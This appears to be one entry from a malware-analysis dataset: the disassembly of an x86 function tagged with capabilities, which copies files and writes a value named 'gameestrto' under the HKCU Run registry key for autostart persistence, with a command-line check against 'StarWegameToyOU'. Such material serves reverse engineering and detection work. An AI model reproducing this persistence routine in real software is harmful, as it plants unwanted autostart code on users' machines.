Function at 0x10004150
Capabilities:
Accept command line arguments
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xf8
xor eax, eax
mov dword [ebp - 0xb0], 0
push esi
xorps xmm0, xmm0
mov dword [ebp - 0x80], eax
push edi
sub esp, 8
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x40], eax
lea edx, [ebp - 0x90]
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0xc0]
movaps xmmword [ebp - 0xc0], xmm0
mov word [ebp - 0xc0], ax
movaps xmmword [ebp - 0x90], xmm0
mov word [ebp - 0x90], ax
movaps xmmword [ebp - 0x70], xmm0
mov word [ebp - 0x70], ax
movaps xmmword [ebp - 0x50], xmm0
mov word [ebp - 0x50], ax
movaps xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x30], al
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0xac], 7
push eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x7c], 7
push eax
mov dword [ebp - 0x5c], 7
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x1c], 0xf
call fcn.10003820
add esp, 0x14
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x10004326
cmp dword [ebp - 4], 1
jne 0x10004326
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x3c], 8
lea ecx, [ebp - 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0xc0]
cmovae ecx, dword [ebp - 0x50]
cmp dword [ebp - 0xac], 8
push 0
cmovae eax, dword [ebp - 0xc0]
push ecx
push eax
call esi
cmp dword [ebp - 0x5c], 8
lea ecx, [ebp - 0x70]
push 0
cmovae ecx, dword [ebp - 0x70]
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 8
push ecx
cmovae eax, dword [ebp - 0x90]
push eax
call esi
cmp dword [ebp - 0x1c], 0x10
lea edi, [ebp - 0x30]
cmovae edi, dword [ebp - 0x30]
mov esi, edi
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10004290
mov eax, dword [0x10015d80]
sub esi, ecx
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov dword [ebp - 0xc8], eax
mov ax, word [0x10015d84]
mov word [ebp - 0xc4], ax
lea eax, [ebp - 4]
push eax
movups xmmword [ebp - 0xf0], xmm0
push 0xf003f
movups xmm0, xmmword [0x10015d68]
push 0
lea eax, [ebp - 0xf0]
mov dword [ebp - 4], 0
movups xmmword [ebp - 0xe0], xmm0
push eax
movq xmm0, qword [0x10015d78]
push 0x80000001
movq qword [ebp - 0xd0], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004321
push esi
push edi
push 1
push eax
push str.gameestrto
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10001380
push 0xf
xorps xmm0, xmm0
mov dword [ebp - 0xd0], 0
push str.StarWegameToyOU
lea ecx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xcc], 0
call fcn.100048d0
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, dword [ebp - 0xe0]
mov dword [ebp - 4], eax
test eax, eax
je 0x100043f2
cmp dword [ebp - 0x94], 2
jne 0x100043f2
mov ecx, dword [eax + 4]
mov edx, ecx
lea edi, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x10004390
sub edx, edi
lea edi, [ebp - 0xe0]
sar edx, 1
cmp dword [ebp - 0xcc], 8
cmovae edi, esi
mov esi, dword [ebp - 0xd0]
cmp esi, edx
jne 0x100043e2
test esi, esi
je 0x100043d1
sub edi, ecx
nop
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x100043e2
add ecx, 2
sub esi, 1
jne 0x100043c0
push dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
call fcn.10001380
jmp 0x100043ec
push dword [ebp - 4]
mov eax, dword [sym.imp.KERNEL32.dll_LocalFree]
call eax
mov esi, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xcc]
cmp eax, 8
jb 0x1000442c
lea ecx, [eax*2 + 2]
mov eax, esi
cmp ecx, 0x1000
jb 0x10004422
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100045a3
push ecx
push esi
call fcn.10004dc9
add esp, 8
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x10004460
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004456
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100045a3
push ecx
push edx
call fcn.10004dc9
add esp, 8
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
cmp ecx, 8
jb 0x100044ac
mov edx, dword [ebp - 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100044a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100045a3
push ecx
push edx
call fcn.10004dc9
add esp, 8
mov ecx, dword [ebp - 0x5c]
xor eax, eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 7
mov word [ebp - 0x50], ax
cmp ecx, 8
jb 0x100044fa
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100044f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100045a3
push ecx
push edx
call fcn.10004dc9
add esp, 8
mov ecx, dword [ebp - 0x7c]
xor eax, eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
cmp ecx, 8
jb 0x10004547
mov edx, dword [ebp - 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000453d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100045a3
push ecx
push edx
call fcn.10004dc9
add esp, 8
mov ecx, dword [ebp - 0xac]
xor eax, eax
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 7
mov word [ebp - 0x90], ax
cmp ecx, 8
jb 0x1000459a
mov edx, dword [ebp - 0xc0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10004590
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100045a3
push ecx
push edx
call fcn.10004dc9
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100084c4
int3